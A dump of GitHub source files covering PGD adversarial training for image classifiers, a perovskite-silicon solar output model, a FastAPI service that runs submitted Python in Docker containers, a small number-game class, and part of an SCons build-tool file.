config.eval_model_path is None:\n print('Eval_model_path not defined')\n exit()\n else:\n model_path = config.eval_model_path\n checkpoint = torch.load(model_path)\n config.TRAIN.start_epoch = checkpoint['epoch'] + 1\n best_pgd_acc = checkpoint['best_pgd_acc']\n model.load_state_dict(checkpoint['state_dict'])\n optimizer.load_state_dict(checkpoint['optimizer'])\n logger.info(\"=> Automatic resume from '{}' (epoch {})\"\n .format(model_path, checkpoint['epoch']))\n\n logger.info(pad_str(' Performing PGD Attacks '))\n validate_random(val_loader, model, criterion, config, logger)\n\n for pgd_param in config.ADV.pgd_attack:\n validate_pgd_random(val_loader, model, criterion, pgd_param[0], pgd_param[1], config, logger)\n return\n\n for epoch in range(config.TRAIN.start_epoch, config.TRAIN.epochs):\n if config.lr_schedule == 'cosine':\n scheduler.step()\n logging.info('epoch %d lr %e', epoch, scheduler.get_lr()[0])\n else:\n adjust_learning_rate(config.TRAIN.lr, optimizer, epoch, config.ADV.n_repeats)\n\n if config.adv_train:\n train_pgd(train_loader, model, criterion, optimizer, epoch, logger)\n else:\n train(train_loader, model, criterion, optimizer, epoch, logger)\n\n\n # evaluate on validation set\n if epoch % 2 == 0:\n if config.adv_train:\n if config.rp:\n pgd_acc = validate_pgd_random(val_loader, model, criterion, 10, 1.0 / 255.0, config, logger)\n standard_acc = validate_random(val_loader, model, criterion, config, logger)\n else:\n pgd_acc = validate_pgd(val_loader, model, criterion, 10, 1.0 / 255.0, config, logger)\n standard_acc = validate(val_loader, model, criterion, config, logger)\n else:\n if config.rp:\n pgd_acc = validate_random(val_loader, model, criterion, config, logger)\n standard_acc = pgd_acc\n else:\n pgd_acc = validate(val_loader, model, criterion, config, logger)\n standard_acc = pgd_acc\n\n # remember best prec@1 and save checkpoint\n is_best = pgd_acc > best_pgd_acc\n best_pgd_acc = max(pgd_acc, best_pgd_acc)\n\n if is_best:\n best_epoch = epoch\n standard_acc_at_best_pgd = standard_acc\n if config.adv_train:\n best_pgd_acc_k50 = validate_pgd_random(val_loader, model, criterion, 50, 1.0 / 255.0, config, logger)\n else:\n best_pgd_acc_k50 = 0.0\n save_checkpoint({\n 'epoch': epoch,\n 'arch': config.TRAIN.arch,\n 'state_dict': model.state_dict(),\n 'best_pgd_acc': best_pgd_acc,\n 'standard_acc': standard_acc,\n 'optimizer': optimizer.state_dict(),\n }, is_best, config.output_name)\n\n # 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n logger.info('Current Best PGD Acc: {:.3f}, Achieved at [{:d}] Epoch, with Standard Acc: {:.3f},'\n ' with K50 Acc: {:.3f}'.format(best_pgd_acc, best_epoch, standard_acc_at_best_pgd, best_pgd_acc_k50))\n\n # Automatically perform PGD Attacks at the end of training\n logger.info(pad_str(' Performing PGD Attacks '))\n\n for pgd_param in config.ADV.pgd_attack:\n validate_pgd_random(val_loader, model, criterion, pgd_param[0], pgd_param[1], config, logger)\n\n\ndef train(train_loader, model, criterion, optimizer, epoch, logger):\n mean = torch.Tensor(np.array(config.TRAIN.mean)[:, np.newaxis, np.newaxis])\n mean = mean.expand(3, config.DATA.crop_size, config.DATA.crop_size).cuda()\n std = torch.Tensor(np.array(config.TRAIN.std)[:, np.newaxis, np.newaxis])\n std = std.expand(3, config.DATA.crop_size, config.DATA.crop_size).cuda()\n # Initialize the meters\n batch_time = AverageMeter()\n data_time = AverageMeter()\n losses = AverageMeter()\n top1 = AverageMeter()\n top5 = AverageMeter()\n # switch to train mode\n model.train()\n for i, (input, target) in enumerate(train_loader):\n _iters = epoch * len(train_loader) + i\n\n end = time.time()\n input = input.cuda(non_blocking=True)\n target = target.cuda(non_blocking=True)\n data_time.update(time.time() - end)\n\n\n # random select a path\n if config.rp:\n model.module.random_rp_matrix()\n\n in1 = input\n in1.clamp_(0, 1.0)\n in1.sub_(mean).div_(std)\n output = model(in1)\n loss = criterion(output, target)\n\n prec1, prec5 = accuracy(output, target, topk=(1, 5))\n losses.update(loss.item(), input.size(0))\n top1.update(prec1[0], input.size(0))\n top5.update(prec5[0], input.size(0))\n\n # compute gradient and do SGD step\n optimizer.zero_grad()\n loss.backward()\n\n optimizer.step()\n # measure elapsed time\n batch_time.update(time.time() - end)\n end = time.time()\n\n if i % config.TRAIN.print_freq == 0:\n logger.info('Train Epoch: [{0}][{1}/{2}]\\t'\n 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n 'Data {data_time.val:.3f} ({data_time.avg:.3f})\\t'\n 'Loss {cls_loss.val:.4f} ({cls_loss.avg:.4f})\\t'\n 'Prec@1 {top1.val:.3f} ({top1.avg:.3f})\\t'\n 'Prec@5 {top5.val:.3f} ({top5.avg:.3f})'.format(\n epoch, i, len(train_loader), batch_time=batch_time,\n data_time=data_time, top1=top1, top5=top5, cls_loss=losses))\n sys.stdout.flush()\n\n\ndef train_pgd(train_loader, model, criterion, optimizer, epoch, logger):\n mean = torch.Tensor(np.array(config.TRAIN.mean)[:, np.newaxis, np.newaxis])\n mean = mean.expand(3, config.DATA.crop_size, config.DATA.crop_size).cuda()\n std = torch.Tensor(np.array(config.TRAIN.std)[:, np.newaxis, np.newaxis])\n std = std.expand(3, config.DATA.crop_size, config.DATA.crop_size).cuda()\n # Initialize the meters\n batch_time = AverageMeter()\n data_time = AverageMeter()\n losses = AverageMeter()\n top1 = AverageMeter()\n top5 = AverageMeter()\n # switch to train mode\n model.train()\n for i, (input, target) in enumerate(train_loader):\n _iters = epoch * len(train_loader) + i\n\n # random select a path to attack\n if config.rp:\n model.module.random_rp_matrix()\n\n end = time.time()\n input = input.cuda(non_blocking=True)\n target = target.cuda(non_blocking=True)\n data_time.update(time.time() - end)\n\n delta = torch.zeros_like(input).cuda()\n if config.ADV.delta_init == 'random':\n delta.uniform_(-config.ADV.clip_eps, config.ADV.clip_eps)\n delta.requires_grad = True\n\n for _ in range(config.ADV.attack_iters):\n in1 = input + delta\n in1.clamp_(0, 1.0)\n in1.sub_(mean).div_(std)\n output = model(in1)\n\n loss = criterion(output, target)\n loss.backward()\n\n grad = delta.grad.detach()\n delta.data = delta.data + config.ADV.fgsm_step * torch.sign(grad)\n delta.data.clamp_(-config.ADV.clip_eps, config.ADV.clip_eps)\n delta.grad.zero_()\n\n delta = delta.detach()\n\n # random select a path to infer\n if config.rp:\n model.module.random_rp_matrix()\n\n in1 = input + delta\n in1.clamp_(0, 1.0)\n in1.sub_(mean).div_(std)\n output = model(in1)\n loss = criterion(output, target)\n\n prec1, prec5 = accuracy(output, target, topk=(1, 5))\n losses.update(loss.item(), input.size(0))\n top1.update(prec1[0], input.size(0))\n top5.update(prec5[0], input.size(0))\n\n # compute gradient and do SGD step\n optimizer.zero_grad()\n loss.backward()\n\n optimizer.step()\n # measure elapsed time\n batch_time.update(time.time() - end)\n end = time.time()\n\n if i % config.TRAIN.print_freq == 0:\n logger.info('Train Epoch: [{0}][{1}/{2}]\\t'\n 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n 'Data {data_time.val:.3f} ({data_time.avg:.3f})\\t'\n 'Loss {cls_loss.val:.4f} ({cls_loss.avg:.4f})\\t'\n 'Prec@1 {top1.val:.3f} ({top1.avg:.3f})\\t'\n 'Prec@5 {top5.val:.3f} ({top5.avg:.3f})'.format(\n epoch, i, len(train_loader), batch_time=batch_time,\n data_time=data_time, top1=top1, top5=top5, cls_loss=losses))\n sys.stdout.flush()\n\n\nif __name__ == '__main__':\n main()","repo_name":"UniSerj/Random-Projection-Filters","sub_path":"train_imagenet.py","file_name":"train_imagenet.py","file_ext":"py","file_size_in_byte":15140,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"19252522865","text":"import pandas as pd\nimport logging\nimport sys\nimport os\nimport matplotlib.pyplot as plt\nimport decimal\n\nimport pvlib\nimport pvcompare.perosi.pvlib_smarts as smarts\nimport pvcompare.perosi.era5 as era5\n\n\n# Reconfiguring the logger here will also affect test running in the PyCharm IDE\nlog_format = \"%(asctime)s %(levelname)s %(filename)s:%(lineno)d %(message)s\"\nlogging.basicConfig(stream=sys.stdout, level=logging.DEBUG, format=log_format)\n\n\ndef calculate_smarts_parameters(\n year,\n lat,\n lon,\n number_hours,\n cell_type,\n surface_tilt,\n surface_azimuth,\n atmos_data,\n WLMN=350,\n WLMX=1200,\n):\n\n \"\"\"\n calculates the short current density Jsc for each timestep.\n\n For each timestep the spectrum is calculated using SMARTS. After that the\n short current density is calculated by multiplying the number of photons on\n the tilted surface by the EQE of the given cell. A dataframe is returned\n with ghi, temperature, wind_speed and the Jsc for each time step\n\n Parameters\n ----------\n year: int\n year of interest\n lat: str\n latitude ending with a \".\", e.g. \"45.\"\n lon: int\n longitude\n number_hours: int\n number of hours until simulation stops. For one year enter 8760.\n cell_type: list\n list of cells for which the Jsc should be calculated.\n atmos_data: :pandas:`pandas.DataFrame`\n with datetimeindex and columns for 'temp_air' and 'wind_speed' and 'ghi'\n WLMN: int\n minimum wavelength of the spectrum. By default this is 280 nm.\n WLMX: int\n maximum wavelength of the spectrum. By default this is 1200 nm.\n\n\n Returns\n --------\n :pandas:`pandas.DataFrame`\n including ghi, temperature, wind_speed, Jsc for each cell_type\n \"\"\"\n\n # check if atmos_data is in given as an input variable\n if atmos_data is None:\n logging.info(\"loading atmos data from era5 data set\")\n atmos_data = era5.load_era5_weatherdata(lat, lon, year, variable=\"perosi\")\n # delta = pd.to_timedelta(30, unit=\"m\")\n # atmos_data.index = atmos_data.index + delta\n atmos_data.index = pd.to_datetime(atmos_data.index)\n atmos_data[\"davt\"] = atmos_data[\"temp_air\"].resample(\"D\").mean()\n atmos_data = atmos_data.fillna(method=\"ffill\")\n\n # calculate poa_total for tilted surface\n spa = pvlib.solarposition.spa_python(\n time=atmos_data.index, latitude=lat, longitude=lon\n )\n\n poa = pvlib.irradiance.get_total_irradiance(\n surface_tilt=surface_tilt,\n surface_azimuth=surface_azimuth,\n solar_zenith=spa[\"zenith\"],\n solar_azimuth=spa[\"azimuth\"],\n dni=atmos_data[\"dni\"],\n ghi=atmos_data[\"ghi\"],\n dhi=atmos_data[\"dhi\"],\n )\n\n atmos_data[\"poa_global\"] = poa[\"poa_global\"]\n\n # define constant\n q = 1.602176634 / (10 ** 19) # in Coulomb = A*s\n # define output data format\n iout = \"8 12\"\n # define counter for number of hours to be calculated\n c = 0\n # define time interval of one year\n # time = pd.date_range(start=f'1/1/{year}', end=f'31/12/{year}', freq='H')\n # calculate Jsc for every timestep\n result = pd.DataFrame()\n logging.info(\n \"loading spectral weather data from SMARTS Nrel and \"\n \"calculating Isc for every timestep\"\n )\n for index, row in atmos_data.iterrows():\n if index.month in range(3, 8):\n season = \"SUMMER\"\n else:\n season = \"WINTER\"\n\n # load spectral data from SMARTS\n\n d = decimal.Decimal(str(lat))\n decimals_lat = d.as_tuple().exponent\n lat_spectrum = str(lat)[:decimals_lat]\n spectrum = smarts.SMARTSSpectra(\n IOUT=iout,\n YEAR=str(year),\n MONTH=str(index.month),\n DAY=str(index.day),\n HOUR=str(index.hour),\n LATIT=lat_spectrum,\n LONGIT=str(lon),\n WLMN=WLMN,\n WLMX=WLMX,\n TAIR=str(atmos_data.at[index, \"temp_air\"]),\n TDAY=str(atmos_data.at[index, \"davt\"]),\n SEASON=season,\n ZONE=0,\n TILT=str(surface_tilt),\n WAZIM=str(surface_azimuth),\n W=str(atmos_data.at[index, \"precipitable_water\"]),\n )\n\n # load EQE data\n for x in cell_type:\n if x == \"Korte_pero\":\n import pvcompare.perosi.data.cell_parameters_korte_pero as param\n elif x == \"Korte_si\":\n import pvcompare.perosi.data.cell_parameters_korte_si as param\n elif x == \"Chen_pero\":\n import pvcompare.perosi.data.cell_parameters_Chen_2020_4T_pero as param\n\n url = \"https://raw.githubusercontent.com/greco-project/pvcompare/dev/pvcompare/perosi/data/CHEN_2020_EQE_curve_pero_corrected.csv\"\n elif x == \"Chen_si\":\n import pvcompare.perosi.data.cell_parameters_Chen_2020_4T_si as param\n\n url = \"https://raw.githubusercontent.com/greco-project/pvcompare/dev/pvcompare/perosi/data/CHEN_2020_EQE_curve_si_corrected.csv\"\n else:\n logging.error(\n \"The cell type is not recognized. Please \"\n \"choose either 'Korte_si', 'Korte_pero', 'Chen_si' \"\n \"or 'Chen_pero.\"\n )\n EQE_filename = param.EQE_filename\n path = os.path.join(\n os.path.dirname(os.path.abspath(__file__)), \"data\", EQE_filename\n )\n\n EQE = pd.read_csv(path, sep=\",\", index_col=0)\n\n EQE = EQE / 100\n\n # return Jsc and ghi = 0 if the spectrum is empty\n if spectrum.empty == True:\n result.at[index, \"Jsc_\" + str(x)] = 0\n result.at[index, \"ghi\"] = 0\n\n else:\n if not spectrum.index.name == \"Wvlgth\":\n spectrum.set_index(\"Wvlgth\", inplace=True)\n\n # scale spectrum to era5-ghi\n spectral_ghi_sum = spectrum[\"Global_tilted_irradiance\"].sum()\n ghi_corrected = spectral_ghi_sum - (\n spectral_ghi_sum - atmos_data.at[index, \"poa_global\"]\n )\n diff_percent = ghi_corrected / (spectral_ghi_sum / 100)\n spectrum[\"Global_tilt_photon_corrected\"] = (\n spectrum[\"Global_tilt_photon_irrad\"] / 100 * diff_percent\n ) # pro cm²\n spectrum[\"Global_tilted_irradiance_corrected\"] = (\n spectrum[\"Global_tilted_irradiance\"] / 100 * diff_percent\n )\n\n # calculate Jsc\n Jsc_lambda = (\n spectrum[\"Global_tilt_photon_corrected\"] * EQE[\"EQE\"]\n ) * q # Jsc pro cm²\n Jsc_lambda.fillna(0, inplace=True)\n result.at[index, \"Jsc_\" + str(x)] = Jsc_lambda.sum() # in A/cm²\n result.at[index, \"ghi\"] = atmos_data.at[index, \"poa_global\"] # in W/m²\n result.at[index, \"ghi_spectrum_corrected\"] = spectrum[\n \"Global_tilted_irradiance_corrected\"\n ].sum() # in W/m²\n\n result.at[index, \"temp\"] = atmos_data.at[index, \"temp_air\"]\n result.at[index, \"wind_speed\"] = atmos_data.at[index, \"wind_speed\"]\n\n # check if number of hours is reached\n c = c + 1\n if c == number_hours:\n break\n return result\n\n\ndef create_timeseries(\n lat, lon, surface_azimuth, surface_tilt, atmos_data, year, cell_type, number_hours\n):\n \"\"\"\n Calculates a timeseries for each cell type in list cell_type.\n\n The spectrum is calculated with calculate_smarts_parameters(). After that\n the specific cell parameters are loaded. Finally the p_mp of each timestep\n is calculated by the pvlib.singlediode() fuction.\n\n Parameters\n ----------\n year: int\n year of interest\n lat: str\n latitude ending with a \".\", e.g. \"45.\"\n lon: int\n longitude\n number_hours: int\n number of hours until simulation stops. For one year enter 8760.\n cell_type: list\n list of cells for which the Jsc should be calculated. Allowed values:\n 'Korte_pero', 'Korte_si', 'Chen_si', 'Chen_pero'\n surface_azimuth: int\n surface azimuth\n surface_tilt: int\n surface tilt\n atmos_data: :pandas:`pandas.DataFrame`\n with datetimeindex and columns for 'temp_air' and 'wind_speed' and 'ghi'\n\n Returns\n -------\n :pandas:`pandas.DataFrame`\n maximum power point of each time step for each cell type\n \"\"\"\n q = 1.602176634 / (10 ** (19)) # in Coulomb = A/s\n kB = 1.380649 / 10 ** 23 # J/K\n\n # calculate spectral parameters from smarts and era5\n smarts_parameters = calculate_smarts_parameters(\n year=year,\n lat=lat,\n lon=lon,\n number_hours=number_hours,\n cell_type=cell_type,\n surface_tilt=surface_tilt,\n surface_azimuth=surface_azimuth,\n atmos_data=atmos_data,\n )\n\n # calculate cell temperature characteristics\n t_cell = pvlib.temperature.pvsyst_cell(\n smarts_parameters[\"ghi\"],\n smarts_parameters[\"temp\"],\n smarts_parameters[\"wind_speed\"],\n )\n\n result = pd.DataFrame()\n for x in cell_type:\n if x == \"Korte_pero\":\n import pvcompare.perosi.data.cell_parameters_korte_pero as param\n elif x == \"Korte_si\":\n import pvcompare.perosi.data.cell_parameters_korte_si as param\n elif x == \"Chen_pero\":\n import pvcompare.perosi.data.cell_parameters_Chen_2020_4T_pero as param\n elif x == \"Chen_si\":\n import pvcompare.perosi.data.cell_parameters_Chen_2020_4T_si as param\n\n nNsVth = param.n * (kB * (t_cell + 273.15) / q)\n\n Isc = smarts_parameters[\"Jsc_\" + str(x)] * param.A_cell\n singlediode = pvlib.pvsystem.singlediode(\n photocurrent=Isc,\n saturation_current=param.I_0,\n resistance_series=param.rs,\n resistance_shunt=param.rsh,\n nNsVth=nNsVth,\n ivcurve_pnts=None,\n method=\"lambertw\",\n )\n result[str(x) + \"_p_mp\"] = singlediode[\"p_mp\"]\n # add temperature correction\n result[str(x) + \"_p_mp\"] = result[str(x) + \"_p_mp\"] * (\n 1 + (param.alpha * (t_cell - param.temp_ref))\n )\n\n return result\n\n\ndef create_pero_si_timeseries(\n year,\n lat,\n lon,\n surface_azimuth,\n surface_tilt,\n number_hours,\n atmos_data=None,\n psi_type=\"Chen\",\n):\n\n \"\"\"\n Creates a time series for the output power of a pero-si module.\n\n Wrapper for create_timeseries() function.\n\n Parameters\n ----------\n year: int\n year of interest\n lat: str\n latitude\n lon: int\n longitude\n number_hours: int\n number of hours until simulation stops. For one year enter 8760.\n surface_azimuth: int\n surface azimuth\n surface_tilt: int\n surface tilt\n atmos_data: :pd.Dataframe().\n weather data with datetimeindex and columns for 'temp_air' and\n 'wind_speed' and 'ghi'. If None weather data is loaded from era5 weather data set.\n psi_type: str\n Type of pero_si cell. Either \"Chen\" or \"Korte\"\n\n Returns\n ---------\n :pandas:`pandas.Series`\n time series of the output power\n \"\"\"\n if psi_type == \"Chen\":\n cell_type = [\"Chen_pero\", \"Chen_si\"]\n elif psi_type == \"Korte\":\n cell_type = [\"Korte_pero\", \"Korte_si\"]\n else:\n logging.warning(\n f\"The cell_type is {psi_type}. It is not recognized. Please \"\n \"choose between 'Korte' and 'Chen'.\"\n )\n for x in cell_type:\n if x == \"Korte_pero\":\n import pvcompare.perosi.data.cell_parameters_korte_pero as param\n elif x == \"Korte_si\":\n import pvcompare.perosi.data.cell_parameters_korte_si as param\n elif x == \"Chen_pero\":\n import pvcompare.perosi.data.cell_parameters_Chen_2020_4T_pero as param\n elif x == \"Chen_si\":\n import pvcompare.perosi.data.cell_parameters_Chen_2020_4T_si as param\n\n timeseries = create_timeseries(\n lat=lat,\n lon=lon,\n surface_azimuth=surface_azimuth,\n surface_tilt=surface_tilt,\n atmos_data=atmos_data,\n year=year,\n cell_type=cell_type,\n number_hours=number_hours,\n )\n output = (timeseries.iloc[:, 0] + timeseries.iloc[:, 1]) * param.Ns\n\n return output\n","repo_name":"greco-project/pvcompare","sub_path":"pvcompare/perosi/perosi.py","file_name":"perosi.py","file_ext":"py","file_size_in_byte":12501,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"75"} +{"seq_id":"34711732277","text":"import json\nimport urllib.parse\nfrom typing import Optional, Dict, Any, List\n\nimport requests_unixsocket\nfrom fastapi import FastAPI, File, UploadFile\nfrom pydantic import BaseModel\n\napp = FastAPI(\n title='Coding Drills API',\n description='Docker Engine API にリクエストを投げてコードを実行します。
'\n '各プログラミング言語の Docker イメージのプルもこのページから行えます。
'\n '
'\n '**初回起動時およびボリュームを作り直したときは ``/images/pull`` をやり直してください。**
'\n '**この画面から API を実行する際に ``TypeError: Failed to fetch`` エラーが発生した場合は、'\n '``Cancel`` で入力欄を閉じてから再度開いて試してみてください。**',\n version='0.1.0',\n openapi_tags=[\n {\n 'name': 'Run Code',\n 'description': '各プログラミング言語のコードを実行します。',\n 'externalDocs': {\n \"description\": \"好きなコードで実行する\",\n \"url\": \"http://localhost\",\n },\n },\n {\n 'name': 'Docker Images / Containers',\n 'description': 'Docker イメージやコンテナに関する操作です。',\n },\n ],\n)\n\n\nclass ResponseRunCodeStatus200(BaseModel):\n stdout: str\n stderr: str\n\n\n@app.post(\n \"/python\",\n tags=['Run Code'],\n summary='Run python code',\n response_model=ResponseRunCodeStatus200,\n)\nasync def run_python(file: UploadFile = File(...)) -> Dict[str, str]:\n \"\"\"Python プログラムを実行します。\n\n - **file**: ファイル名。 (required)\n\n \\f\n\n Args:\n file (UploadFile): Code to run.\n\n Returns:\n stdout, stderr.\n\n Examples:\n ``Returns`` is such as::\n\n {\n 'stdout': stdout,\n 'stderr': stderr,\n }\n\n \"\"\"\n code = await file.read()\n with open(\"code.py\", \"w\") as f:\n f.write(code.decode('utf-8'))\n\n unix_socket = urllib.parse.quote('/var/run/docker.sock', safe='')\n containers_path = '/v1.40/containers'\n\n with requests_unixsocket.Session() as session:\n\n # Create a container\n container_name = 'python'\n operation = f'/create?name={container_name}'\n url = f'http+unix://{unix_socket}{containers_path}{operation}'\n\n data = json.dumps({\n 'Image': 'python:3.9-slim-buster',\n 'Cmd': ['python', '/code.py'],\n 'Mounts': [\n {\n 'Target': '/code.py',\n 'Source': '/docker-python-fastapi/code.py',\n 'Type': 'bind',\n 'ReadOnly': True,\n },\n ],\n }).encode()\n header = {'Content-Type': 'application/json'}\n\n session.post(url, data=data, headers=header)\n\n # Start the container\n operation = f'/{container_name}/start'\n url = f'http+unix://{unix_socket}{containers_path}{operation}'\n\n session.post(url)\n\n # Wait the container\n operation = f'/{container_name}/wait'\n url = f'http+unix://{unix_socket}{containers_path}{operation}'\n\n _ = session.post(url).json()['StatusCode']\n\n # Check logs\n operation = f'/{container_name}/logs?stdout=1'\n url = f'http+unix://{unix_socket}{containers_path}{operation}'\n\n stdout = session.get(url)\n fmt_stdout = '\\n'.join(map(lambda s: s[8:], stdout.text.rstrip().split('\\n'))) # first 8 chars are binary\n\n operation = f'/{container_name}/logs?stderr=1'\n url = f'http+unix://{unix_socket}{containers_path}{operation}'\n\n stderr = session.get(url)\n fmt_stderr = '\\n'.join(map(lambda s: s[8:], stderr.text.rstrip().split('\\n'))) # first 8 chars are binary\n\n # Delete the container\n operation = f'/{container_name}'\n url = f'http+unix://{unix_socket}{containers_path}{operation}'\n\n session.delete(url)\n\n return {\n 'stdout': fmt_stdout,\n 'stderr': fmt_stderr,\n }\n\n\n@app.patch(\n \"/images/pull\",\n tags=['Docker Images / Containers'],\n summary='Pull Docker images',\n)\nasync def images_pull():\n \"\"\"Docker イメージをプルします。\n\n 初回起動時およびボリュームを作り直したときに必ず実行してください。でないとソースコードが実行できません。\n\n \\f\n\n Returns:\n void:\n\n \"\"\"\n session = requests_unixsocket.Session()\n unix_socket = urllib.parse.quote('/var/run/docker.sock', safe='')\n url = f'http+unix://{unix_socket}/v1.40/images/create?fromImage=python&tag=3.9-slim-buster'\n session.post(url)\n\n\n@app.get(\n \"/images/list\",\n tags=['Docker Images / Containers'],\n summary='Get list of Docker images',\n)\nasync def images_list() -> dict:\n \"\"\"Docker イメージの一覧を表示します。\n\n \\f\n\n Returns:\n dict: List of docker images.\n\n \"\"\"\n session = requests_unixsocket.Session()\n unix_socket = urllib.parse.quote('/var/run/docker.sock', safe='')\n url = f'http+unix://{unix_socket}/v1.40/images/json'\n resp = session.get(url).json()\n return resp\n\n\nclass ResponseContainerPruneStatus200(BaseModel):\n ContainersDeleted: Optional[List[str]]\n SpaceReclaimed: Optional[int]\n\n\nclass ResponseContainerPruneStatus500(BaseModel):\n message: str\n\n\n@app.delete(\n \"/containers/prune\",\n tags=['Docker Images / Containers'],\n summary=\"Delete stopped containers\",\n responses={\n 200: {\n \"description\": \"\"\"- ``ContainersDeleted``: Container IDs that were deleted.\n- ``SpaceReclaimed``: Disk space reclaimed in bytes.\"\"\",\n \"model\": ResponseContainerPruneStatus200,\n },\n 500: {\n \"description\": \"\"\"- ``message``: The error message.\"\"\",\n \"model\": ResponseContainerPruneStatus500,\n }\n },\n)\nasync def containers_prune() -> Dict[str, Any]:\n \"\"\"停止している・残っているコンテナを削除します。\n\n \\f\n\n Returns:\n dict: 消えたコンテナの詳細。\n\n \"\"\"\n session = requests_unixsocket.Session()\n unix_socket = urllib.parse.quote('/var/run/docker.sock', safe='')\n url = f'http+unix://{unix_socket}/v1.40/containers/prune'\n resp = session.post(url).json()\n return resp\n","repo_name":"noritakaIzumi/coding-drills","sub_path":"docker-python-fastapi/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40545949542","text":"\"\"\"This class defines the logic behind the undercut game.\"\"\"\nimport collections\nimport json\nfrom typing import DefaultDict\n\n\nclass Game:\n \"\"\"The game\"\"\"\n def __init__(self, num_players: int, num_options: int):\n \"\"\"Constructs a game.\n\n Args:\n num_players: the number of players in this game.\n num_options: What options the players can choose.\n \"\"\"\n print('Game Constructor')\n self._num_players = num_players\n self._num_options = num_options\n\n # Mapping from submission value to number of submissions\n self._submissions: DefaultDict[int, int] = collections.defaultdict(lambda: 0)\n self._submission_count: int = 0\n self._winning_number: int | None = None\n\n @property\n def num_players(self) -> int:\n return self._num_players\n\n @property\n def num_options(self) -> int:\n return self._num_options\n\n @property\n def finished(self) -> bool:\n return self._submission_count == self._num_players\n\n @property\n def winning_number(self) -> int:\n assert self.finished\n if self._winning_number is None:\n self._set_winning_number()\n return self._winning_number\n\n def _set_winning_number(self):\n assert self._winning_number is None\n for idx in reversed(range(2, self._num_options + 1)):\n if self._submissions[idx - 1] == 0:\n self._winning_number = idx\n return\n self._winning_number = 1\n\n def add_submission(self, submission: int):\n assert not self.finished\n assert submission <= self._num_options\n self._submission_count += 1\n self._submissions[submission] += 1\n\n def to_string(self) -> str:\n game_dict = {\n 'num_players': self._num_players,\n 'num_options': self._num_options,\n 'finished': self.finished,\n 'count': self._submission_count,\n }\n if self.finished:\n game_dict['submissions'] = self._submissions\n game_dict['winning_number'] = self.winning_number\n return json.dumps(game_dict)","repo_name":"seedship/undercut","sub_path":"src/game_logic/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":2135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29509447282","text":"import json\nimport os.path\nimport sys\n\nscons_dir = os.path.dirname(__file__)\ntop_dir = os.path.normpath(os.path.join(scons_dir, \"..\"))\npy_lib_dir = os.path.join(top_dir, \"py-lib\")\nsys.path.append(py_lib_dir)\n\nfrom tool_config import config\n\ndef check_var(env, var, builder):\n assert env.get(var) != None, (\n \"ERROR: Builder '%s' invoked when variable\"\n \" '%s' is not set.\\n\" % (builder, var)\n )\n\ndef tool_bitfile(env):\n \"\"\"Invoke Clang to generate a bitfile from C or C++.\"\"\"\n\n def generator(source, target, env, for_signature):\n prefix = '${CLANG} -o $TARGET -c -emit-llvm'\n suffix = '-fno-vectorize -fno-slp-vectorize'\n ext = os.path.splitext(str(source[0]))[1]\n\n if ext in (\".c\"):\n check_var(env, 'CLANG', 'BitFile')\n return ( prefix + \" $CFLAGS $CCFLAGS $_CCCOMCOM $SOURCES \" +\n suffix )\n\n if ext in (\".cc\", \".cxx\", \".cpp\"):\n check_var(env, 'CLANG', 'BitFile')\n return ( prefix + \" $CXXFLAGS $CCFLAGS $_CCCOMCOM $SOURCES \" +\n suffix )\n\n if ext in (\".ll\"):\n check_var(env, 'LLVM_AS', 'BitFile')\n return \"${LLVM_AS} -o $TARGET $SOURCE\"\n\n assert False, \"Unknown extension '%s'\" % ext\n\n bitfile = Builder(\n generator = generator,\n src_suffix = [ \".c\", \".cc\", \".cxx\", \".cpp\", \".ll\" ],\n suffix = \".bc\",\n single_source=True,\n )\n\n env.Append(BUILDERS = {'BitFile': bitfile})\n\ndef tool_llvm_asm(env):\n \"\"\"Invoke Clang to generate an LLVM asm file from C or C++.\"\"\"\n\n def generator(source, target, env, for_signature):\n prefix = '${CLANG} -o $TARGET -S -emit-llvm'\n ext = os.path.splitext(str(source[0]))[1]\n\n if ext in (\".c\"):\n check_var(env, 'CLANG', 'LlvmAsm')\n return prefix + \" $CFLAGS $CCFLAGS $_CCCOMCOM $SOURCES\"\n\n if ext in (\".cc\", \".cxx\", \".cpp\"):\n check_var(env, 'CLANG', 'LlvmAsm')\n return prefix + \" $CXXFLAGS $CCFLAGS $_CCCOMCOM $SOURCES\"\n\n if ext in (\".ll\"):\n check_var(env, 'LLVM_AS', 'Llvm_As')\n return \"${LLVM_AS} -o $TARGET $SOURCE\"\n\n assert False, \"Unknown extension '%s'\" % ext\n\n llvm_asm = Builder(\n generator = generator,\n src_suffix = [ \".c\", \".cc\", \".cxx\", \".cpp\", \".ll\" ],\n suffix = \".ll\",\n single_source=True,\n )\n\n env.Append(BUILDERS = {'LlvmAsm': llvm_asm})\n\ndef tool_bitfile_obj(env):\n \"\"\"Invoke llc to generate an object file from a bitfile.\"\"\"\n\n def generator(source, target, env, for_signature):\n check_var(env, 'LLC', 'BitFileObj')\n return '${LLC} $LLCFLAGS -o $TARGET $SOURCE -filetype=obj'\n\n the_builder = Builder(\n generator = generator,\n src_suffix = [ \".bc\", \".ll\" ],\n suffix = \".o\",\n single_source=True,\n )\n\n env.Append(BUILDERS = {'BitFileObj': the_builder})\n\ndef tool_build_kernel_test(env):\n \"\"\"Invoke build_kernel_test to create an executable from HLS source.\"\"\"\n\n def json_scan(node, env, path):\n filename = str(node)\n if not os.path.exists(filename):\n return []\n\n try:\n info = json.load(open(filename))\n except Exception as e:\n raise RuntimeError(\"Error parsing JSON file '%s': %s\" %\n (filename, str(e)))\n\n try:\n thread_ids = [x['thread_id'] for x in info['stages']]\n except Exception as e:\n raise RuntimeError(\"Invalid contents of JSON file '%s'\" %\n (filename,))\n\n src_dir = os.path.dirname(filename)\n\n filenames = [ 'poll_thread.cc', 'stages.hh', ]\n filenames += [ 'stage_%s.cc' % x for x in thread_ids ]\n return [ env.File(os.path.join(src_dir, x)) for x in filenames ]\n\n scanner = Scanner(function=json_scan, skeys=\".json\")\n\n def generator(source, target, env, for_signature):\n check_var(env, 